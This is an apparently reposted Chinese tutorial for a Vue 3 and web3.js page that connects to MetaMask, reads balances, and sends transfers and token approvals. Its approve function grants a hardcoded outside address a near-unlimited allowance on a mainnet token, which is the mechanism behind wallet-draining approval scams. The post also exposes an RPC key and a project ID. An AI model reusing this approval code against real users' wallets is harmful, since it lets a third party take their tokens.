vue+web3js+metamask实现代币转账授权功能

vue+web3js+metamask实现代币转账授权功能

      • 介绍
      • 完整代码
        • 依赖
        • index.vue
        • MetaMask.vue
        • Walletconnect.vue
      • 踩坑点

介绍

主要实现功能: 连接钱包、获取余额、获取地址、转账、授权

大概效果就是下面这样
默认打开会请求连接小狐狸钱包连接后用户可以进行转账、授权等一系列操作
在这里插入图片描述

个人环境:vue3 + metamask插件 + Ganache

Ganache用来在本地测试环境中导出钱包执行转账操作

安装地址 https://trufflesuite.com/ganache/

RPC节点可以用我申请这个,也可以自己去申请
建议自己去申请
每天可以请求40k
https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/

https://getblock.io/
安装完以后进入到软件
有这样的一个界面
在这里插入图片描述
把链ID 和RPC 地址记下来
到小狐狸中添加网络
在这里插入图片描述
弄好这些以后在小狐狸中导入钱包,私钥点上面Ganache中那个小钥匙就可以显示了
导入后我们可以看到钱包余额
在这里插入图片描述
当然网络我们要选择我们刚刚添加本地网络
在这里插入图片描述
到现在为止环境就准备好了

完整代码

依赖
{"name": "web3","version": "0.0.0","private": true,"type": "module","scripts": {"dev": "vite","build": "vite build","preview": "vite preview"},"dependencies": {"@wagmi/core": "^1.4.12","@web3modal/wagmi": "^3.5.3","pinia": "^2.1.7","sass": "^1.69.6","viem": "^1.21.1","vue": "^3.3.11","vue-router": "^4.2.5","web3": "^4.3.0"},"devDependencies": {"@vitejs/plugin-vue": "^4.5.2","vite": "^5.0.10"}
}
index.vue

这个文件就是一个框架
配合路由实现点击标题切换到不同的页面

<script setup>
import { ref } from "vue";
import { RouterView, useRouter } from "vue-router";const router = useRouter();const active = ref(0);const goMeta = () => {active.value = 0;router.push("/meta");
};const goWallet = () => {active.value = 1;router.push("/wallet");
};
</script><template><div class="index"><div class="nav"><span @click="goMeta" :class="active==0?'active':''">MetaMask</span><span @click="goWallet" :class="active==1?'active':''">WalletConnect</span></div><div class="box"><RouterView /></div></div>
</template><style lang="scss" scoped>
.index {width: 60%;height: auto;background: #f8f3d4;padding: 80px;margin: auto;.nav {display: flex;justify-content: space-around;align-items: center;font-weight: 600;span {cursor: pointer;}.active{color: #e84545;border-bottom: 3px solid #e84545;padding-bottom: 5px;}}
}
</style>
MetaMask.vue

具体实现了连接钱包、转账、授权等操作
import { bsc20 } from “@/abi/BSC20.js”;
bsc20这个是bsc合约的abi,可以自己到区块浏览器上复制
转账我这里默认是10,需要自己修改

<script setup>
import { onMounted, ref } from "vue";
import Web3 from "web3";
import { bsc20 } from "@/abi/BSC20.js";const content = ref("");let web3 = new Web3();
let address = ref("");
let balance = ref("");
const connect = async () => {if (window.ethereum) {//用户已经安装钱包插件window.ethereum.enable().then((res) => {web3 = new Web3(web3.currentProvider);if (res.length > 0) {//至少连接了一个钱包地址console.log("钱包链接成功");console.log(res); //获取连接地址address.value = res[0];web3 = new Web3(Web3.givenProvider || "https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/"     //主网// Web3.givenProvider || "HTTP://127.0.0.1:7545"      //本地基于Ganache,授权功能实现不了// Web3.givenProvider || "https://data-seed-prebsc-1-s1.binance.org:8545"         //bsc测试网,授权功能也实现不了);} else {console.log("请先链接钱包");window.ethereum.enable(); //用户安装了钱包插件,但未连接钱包}});} else {alert("请先安装metamask钱包或使用walletconnect进行连接");}
};const getAddress = () => {content.value = address.value;
};const getBalance = async () => {await window.ethereum.request({method: "eth_getBalance",params: [address.value, "latest"],}).then((res) => {balance.value = Web3.utils.fromWei(parseInt(res, 16).toString(), "ether");content.value = balance.value;});
};const transfer = async () => {const num = parseInt(web3.utils.toWei("10", "ether")); //必须要先转为数字在转16进制const hexValue = "0x" + num.toString(16);const transactionParams = {from: address.value,to: "0x6Fe2A04ABd03EB587d4a913F04e3Bbef9b7809a1",gas: "0x5208", // 一般情况下,以太坊交易的 gas 限制是21000value: hexValue, // 以太币数量需要16进制数据单位是wei};// 发送交易ethereum.request({method: "eth_sendTransaction",params: [transactionParams],}).then((transactionHash) => {console.log("Transaction Hash:", transactionHash);}).catch((error) => {console.error("Error:", error);});
};const approve = async () => {                   //必须要主网才可以try {// 检查 MetaMask 是否已安装并连接if (window.ethereum) {const contractAddress = "0x2170ed0880ac9a755fd29b2688956bd959f933f8"; // 合约地址const contractAbi = bsc20; // 合约 ABI// 合约方法名称和参数const authorizedAddress = "0xED1d7e7AF459e82DC44CC847355d32069A9f3830"; // 授权地址const authorizationAmount = "0x33b2e3c9fd0804000000000"; // 授权数量的十六进制表示// 初始化合约const contract = new web3.eth.Contract(contractAbi, contractAddress);// 获取账户列表// 构建交易对象const transactionObject = {from: address.value,to: contractAddress,data: contract.methods.approve(authorizedAddress, authorizationAmount).encodeABI(),};// 发送交易请求const result = await window.ethereum.request({method: "eth_sendTransaction",params: [transactionObject],});console.log(result);} else {console.error("MetaMask 提供者未找到");}} catch (error) {console.error("发生错误:", error);}
};onMounted(() => {connect();
});
</script><template><div class="meta"><button @click="getAddress">获取地址</button><button @click="getBalance">获取余额</button><button @click="transfer">转账</button><button @click="approve">授权</button></div><span>{{ content }}</span>
</template><style lang="scss" scoped>
.meta {padding: 40px;display: flex;justify-content: space-between;button {width: 75px;height: 30px;cursor: pointer;}
}
span {text-align: center;
}
</style>
Walletconnect.vue

通过walletconnect连接只是实现了获取地址和余额的方法
转账和授权我不太会写
官方文档暂时也还不太理解

<script setup>
import { ref, onMounted } from "vue";
import { bsc20 } from "@/abi/BSC20.js";
import Web3 from "web3";
import {createWeb3Modal,defaultWagmiConfig,useWeb3Modal,
} from "@web3modal/wagmi/vue";
import { bsc, bscTestnet, mainnet, arbitrum } from "viem/chains";
import { getAccount } from "@wagmi/core";let web3;
const content = ref("");
const address = ref("");
const balance = ref("");
const walletConnect = () => {// 1. Get projectId at https://cloud.walletconnect.comconst projectId = "3840874bfac68f574157f707d84737bf";// 2. Create wagmiConfigconst metadata = {name: "Web3Modal",description: "Web3Modal Example",url: "https://web3modal.com",icons: ["https://avatars.githubusercontent.com/u/37784886"],};const chains = [bsc, bscTestnet, mainnet, arbitrum];const wagmiConfig = defaultWagmiConfig({ chains, projectId, metadata });// 3. Create modalcreateWeb3Modal({ wagmiConfig, projectId, chains });const modal = useWeb3Modal();modal.open({ view: "Account" });web3 = new Web3("https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/");
};const getAddress = () => {const account = getAccount();address.value= account.address;content.value= address.value;
};const getBalance = () => {web3.eth.getBalance(address.value).then((res) => {balance.value = Web3.utils.fromWei(res, "ether");content.value = balance.value;});
};const transfer = async () => {// 不知道应该怎么写
}const approve = () => {};onMounted(() => {walletConnect();
});
</script><template><div class="wallet"><button @click="getAddress">获取地址</button><button @click="getBalance">获取余额</button><button @click="transfer">转账</button><button @click="approve">授权</button></div><span>{{ content }}</span>
</template><style lang="scss" scoped>
.wallet {padding: 40px;display: flex;justify-content: space-between;button {width: 75px;height: 30px;cursor: pointer;}
}
span {text-align: center;
}
</style>

踩坑点

1.当连接测试网和本地网络的时候不能实现授权
具体原因我也不知道2.小狐狸官方要求使用 ethereum.request发起交易请求,使用web3.eth就会报错
eth_sendTransaction方法不存在 
官方文档是纯英文的不是很能看得懂3.使用eth_sendTransaction转账的时候要先转wei再转16进制
web3.utils.toWei("1","ether")
使用这个方法转wei得到的结果是一个字符串,必须先转成数字才可以转16进制

MetaMask 官方文档
https://docs.metamask.io/wallet/reference/json-rpc-api/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/309498.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ArcGIS批量计算shp面积并导出shp数据总面积(建模法)

在处理shp数据时&#xff0c; 又是我们需要知道许多个shp字段的批量计算&#xff0c;例如计算shp的总面积、面积平均值等&#xff0c;但是单个查看shp文件的属性进行汇总过于繁琐&#xff0c;因此可以借助建模批处理来计算。 首先准备数据&#xff1a;一个含有多个shp的文件夹。…

Java日期和时间(一)

传统的日期和时间 Date 代表的是日期和时间 构造器说明public Date&#xff08;&#xff09;创建一个Date对象&#xff0c;代表的是系统当前此刻日期时间public Date&#xff08;long time&#xff09;把时间毫秒值转换成Date日期对象 import java.util.Date;public class …

【开源】基于Vue+SpringBoot的二手车交易系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 二手车档案管理模块2.3 车辆预约管理模块2.4 车辆预定管理模块2.5 车辆留言板管理模块2.6 车辆资讯管理模块 三、系统设计3.1 E-R图设计3.2 可行性分析3.2.1 技术可行性分析3.2.2 操作可行性3.2.3 经济…

C/C++ BM4 合并两个排序的链表

文章目录 前言题目1. 解决方案一1.1 思路概述1.2 源码 2. 解决方案二2.1 思路阐述2.2 源码 总结 前言 这道题采用两种方式&#xff0c;一种是直接插入法&#xff0c;还有一种就是递归调用。 题目 输入两个递增的链表&#xff0c;单个链表的长度为n&#xff0c;合并这两个链表…

基于Java图书借阅管理系统设计与实现(源码+部署文档)

博主介绍&#xff1a; ✌至今服务客户已经1000、专注于Java技术领域、项目定制、技术答疑、开发工具、毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅 &#x1f447;&#x1f3fb; 不然下次找不到 Java项目精品实…

python可视化界面自动生成,python如何做可视化界面

大家好&#xff0c;小编来为大家解答以下问题&#xff0c;python gui可视化操作界面制作&#xff0c;python做出的炫酷的可视化&#xff0c;现在让我们一起来看看吧&#xff01; 目录 前言 一.环境配置 插件&#xff1a; 1.python 2.Chinese 3.Open In Default Browser 安装pyt…

JavaScript系列——正则表达式

文章目录 需求场景正则表达式的定义创建正则表达式通过 / 表示式/ 创建通过构造函数创建 编写一个正则表达式的模式使用简单模式使用特殊字符常用特殊字符列表特殊字符组和范围 正则表达式使用代码演示 常用示例验证手机号码合法性 小结 需求场景 在前端开发领域&#xff0c;在…

AJAX:整理3:原生AJAX的相关操作

注意AJAX的步骤 // 1.创建对象 const xhr new XMLHttpRequest()// 2.初始化 设置 请求方法 和 url xhr.open("GET", "http://localhost:9090/server")// 3.发送 xhr.send()// 4.事件绑定 处理服务端返回的结果 // readyState 是xhr对象中的属性&#xff…

链表的一些典型问题

求链表的中间节点/倒数第K个节点 等类似的随机访问&#xff0c;可以考虑用快慢指针 例 求链表的中间节点 可以定义两个指针&#xff0c;一个一次走两步一个一次走一步&#xff0c;当走的快的走到NULL时&#xff0c;走的慢的就是链表的中间节点。&#xff08;此法求出的偶数个…

2023年03月18日_微软office365 copilot相关介绍

文章目录 Copilot In WordCopilot In PowerpointCopilot In ExcelCopilot In OutlookCopilot In TeamsBusiness Chat1 - copilot in word2 - copilot in excel3 - copilot in powerpoint4 - copilot in outlook5 - copilot in teams6 - business chat word 1、起草草稿 2、自动…

1.Linux快速入门

Linux快速入门 Linux操作系统简介Linux操作系统优点Linux操作系统发行版1. Red Hat Linux2. CentOS3. Ubuntu4. SUSE Linux5. Fedora Linux 32位与64位操作系统的区别Linux内核命名规则 Linux操作系统简介 Linux操作系统是基于UNIX以网络为核心的设计思想&#xff0c;是一个性…

vue3 组件之间传值

vue3 组件之间传值 非常好&#xff0c;为啥突然开这样一篇博文&#xff0c;首先是因为 vue3 是未来发展的趋势。其次&#xff0c;vue 官方已经确认&#xff0c;将于2023年最后一天停止对 vue2 项目的维护&#xff0c;这个是官方发出的通知&#xff0c;并且呢&#xff0c;尤雨溪…